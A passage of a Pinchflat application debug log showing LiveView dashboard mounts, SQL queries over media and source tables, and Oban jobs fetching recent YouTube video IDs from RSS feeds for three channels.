:websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "YQsaDWUUMAsNAwUJFAMLIgRVDHAgHgwB0xLiUDrlABrHqlalt08GOpJb", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://roku.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://roku.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:10:51.372 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "QsVd0PBgLAwAeojNpe47onFc", "media_state" => "downloaded"} 20:10:51.372 [debug] QUERY OK source="media_items" db=0.5ms idle=1074.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:10:51.373 [debug] QUERY OK source="media_items" db=0.5ms idle=1070.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:10:51.373 [debug] QUERY OK source="sources" db=0.2ms idle=1067.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 20:10:51.373 [debug] Replied in 1ms 20:10:51.374 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "QsVd0PBgLAwAeojNpe47onFc", "media_state" => "pending"} 20:10:51.376 [debug] QUERY OK source="media_items" db=1.5ms idle=1068.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:10:51.377 [debug] QUERY OK source="media_items" db=1.5ms idle=893.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:10:51.377 [debug] Replied in 3ms 20:10:51.378 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "QsVd0PBgLAwAeojNpe47onFc"} 20:10:51.378 [debug] QUERY OK source="tasks" db=0.0ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:10:51.378 [debug] Replied in 257µs 20:10:57.631 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.957 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:11:13.524 [info] {"args":{"id":2},"id":772,"meta":{},"system_time":1784923873523940174,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:11:13.526 [debug] QUERY OK source="sources" db=2.6ms idle=1106.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:11:13.526 [debug] QUERY OK source="tasks" db=2.6ms idle=1106.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:11:13.528 [debug] QUERY OK source="settings" db=1.9ms idle=1010.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:11:13.528 [debug] QUERY OK source="sources" db=1.9ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:11:13.529 [debug] QUERY OK source="media_profiles" db=0.0ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:11:13.529 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:11:13.529 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 20:11:14.100 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 20:11:14.101 [debug] QUERY OK source="media_items" db=0.2ms idle=573.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 20:11:14.101 [debug] QUERY OK source="media_items" db=0.2ms idle=572.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:11:14.102 [debug] QUERY OK source="tasks" db=0.0ms idle=572.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [775, 2, ~U[2026-07-24 20:11:14Z], ~U[2026-07-24 20:11:14Z]] 20:11:14.102 [info] {"args":{"id":2},"id":772,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":578321,"event":"job:stop","queue_time":526324,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:11:14.102 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:11:22.537 [info] {"args":{"id":1},"id":773,"meta":{},"system_time":1784923882537326672,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:11:22.537 [debug] QUERY OK source="sources" db=0.3ms idle=1119.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:11:22.538 [debug] QUERY OK source="settings" db=0.1ms idle=1010.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:11:22.538 [debug] QUERY OK source="tasks" db=0.5ms idle=1119.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:11:22.538 [debug] QUERY OK source="sources" db=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:11:22.538 [debug] QUERY OK source="media_profiles" db=0.1ms idle=9.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:11:22.538 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:11:22.538 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 20:11:22.734 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 20:11:22.734 [debug] QUERY OK source="media_items" db=0.3ms idle=196.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 20:11:22.737 [debug] QUERY OK source="media_items" db=2.6ms idle=197.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:11:22.738 [debug] QUERY OK source="tasks" db=0.0ms idle=199.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [776, 1, ~U[2026-07-24 20:11:22Z], ~U[2026-07-24 20:11:22Z]] 20:11:22.738 [info] {"args":{"id":1},"id":773,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":201337,"event":"job:stop","queue_time":603209,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:11:22.739 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:11:27.632 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:37.551 [info] {"args":{"id":3},"id":774,"meta":{},"system_time":1784923897551066385,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:11:37.551 [debug] QUERY OK source="sources" db=0.1ms idle=1132.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:11:37.551 [debug] QUERY OK source="settings" db=0.0ms idle=132.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:11:37.551 [debug] QUERY OK source="tasks" db=0.4ms idle=1006.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:11:37.551 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:11:37.551 [debug] QUERY OK source="sources" db=0.1ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:11:37.552 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:11:37.552 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 20:11:37.717 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 20:11:37.717 [debug] QUERY OK source="media_items" db=0.2ms idle=166.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 20:11:37.719 [debug] QUERY OK source="media_items" db=1.7ms idle=166.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", 